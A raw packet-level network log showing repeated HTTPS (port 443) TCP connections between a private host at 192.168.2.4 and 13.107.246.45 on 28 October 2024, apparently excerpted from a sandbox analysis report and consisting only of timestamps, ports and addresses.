Oct 28, 2024 08:18:13.316585064 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.316749096 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.316765070 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.331996918 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.332078934 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.332129955 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.332273006 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.332287073 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.332302094 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.332308054 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.334528923 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.334541082 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.334611893 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.334754944 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.334763050 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.385390997 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.385684013 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.385757923 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.385808945 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.385808945 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.385832071 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.385847092 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.389179945 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.389219046 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.389333963 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.389502048 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.389516115 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.398616076 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.399127960 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.399142981 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.399723053 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.399728060 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.538460970 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.539644003 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.539760113 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.539824009 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.539824009 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.539841890 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.539853096 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.543101072 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.543159962 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.543253899 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.543878078 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.543898106 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.069752932 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.070379019 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.070410013 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.070993900 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.071005106 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.072741032 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.073030949 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.073059082 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.073618889 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.073626995 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.076287031 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.076589108 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.076648951 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.077059031 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.077074051 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.160130978 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.160715103 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.160733938 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.161350965 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.161356926 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.198399067 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.198492050 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.198544025 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.198734045 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.198755026 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.202088118 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.202125072 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.202189922 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.202394962 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.202404022 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205668926 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205770969 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205816031 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.205852985 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205925941 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.205938101 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205955029 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.205960989 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.205981970 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.206028938 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.206149101 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.206172943 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.206190109 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.206197977 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.209527969 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.209573030 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.209623098 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.209716082 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.209749937 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.209800959 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.209933996 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.209948063 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.210062981 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.210076094 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.297127008 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.297225952 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.297290087 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.297457933 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.297476053 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.297487974 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.297494888 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.300760031 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.300820112 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.300920963 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.301103115 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.301117897 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.655442953 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.656083107 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.656111956 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.656713009 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.656723976 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.787688017 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.787789106 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.787872076 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.788176060 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.788203955 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.788222075 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.788229942 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.791579008 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.791621923 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.791709900 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.791927099 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.791938066 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.950733900 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.951416969 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.951442003 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.951884985 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.951889992 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.952033043 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.952344894 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.952446938 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.952629089 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.952672958 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.952687979 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.952966928 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.953000069 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:14.953285933 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:14.953298092 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.037657976 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.038465977 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.038507938 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.039053917 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.039067984 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.080539942 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.080621004 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.080708027 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.080907106 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.080931902 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.080946922 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.080955029 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.083745956 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.083798885 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.083889961 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.084032059 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.084048033 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.085500956 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.085557938 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.085598946 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.085711956 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.085727930 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.085737944 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.085743904 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.088248014 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.088280916 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.088732958 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.088733912 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.088762999 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.089313030 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.089391947 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.089437962 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.089503050 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.089524031 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.089559078 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.089566946 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.091532946 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.091578007 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.091655970 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.091763020 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.091772079 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.167973042 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.168113947 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.168165922 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.168307066 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.168330908 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.168351889 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.168359995 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.171717882 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.171752930 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.171813965 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.171958923 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.171972036 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.553132057 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.553817987 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.553852081 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.554291964 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.554306984 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.689763069 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.689939976 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.690043926 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.690129995 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.690155983 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.690169096 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.690176964 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.693232059 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.693283081 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.693599939 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.693599939 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.693640947 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.814832926 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.815387964 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.815422058 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.815862894 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.815871000 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.824362040 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.824734926 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.824753046 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.825149059 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.825154066 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.828639030 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.828921080 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.828943014 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.829298973 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.829310894 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.913633108 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.914247036 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.914268017 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.914768934 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.914789915 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.944546938 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.944629908 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.944715977 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.944947004 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.944968939 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.944983006 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.944993019 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.948077917 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.948127031 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.948242903 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.948426962 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.948445082 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.955585003 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.955663919 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.955722094 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.955895901 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.955909967 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.955919981 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.955924988 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.958712101 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.958750010 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.958848953 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.959021091 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.959038019 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.962089062 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.962238073 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.962390900 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.962390900 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.962431908 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.962450981 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.965039968 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.965054035 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:15.965145111 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.965411901 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:15.965428114 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.047275066 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.047888994 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.047966957 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.048031092 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.048031092 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.048053026 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.048064947 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.054792881 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.054835081 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.054953098 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.055087090 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.055097103 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.424835920 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.425482988 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.425508022 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.426106930 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.426111937 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.557179928 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.557292938 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.557359934 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.557578087 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.557599068 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.557616949 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.557624102 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.560904026 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.560941935 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.561023951 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.561300039 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.561312914 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.673592091 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.674453020 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.674489021 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.674858093 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.674874067 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.691606998 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.692195892 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.692233086 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.692811966 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.692820072 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.737242937 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.737983942 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.738017082 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.738441944 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.738447905 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.781958103 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.782476902 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.782515049 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.782927990 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.782936096 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.803241968 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.803365946 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.803471088 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.803616047 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.803656101 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.803679943 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.803693056 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.817570925 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.817634106 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.817893982 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.818017006 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.818053007 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.824188948 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.824350119 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.824460030 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.824496984 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.824522972 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.824539900 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.824544907 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.829396963 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.829499960 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.829617023 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.829823971 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.829839945 CET	443	49842	13.107.246.45	192.168.2.4
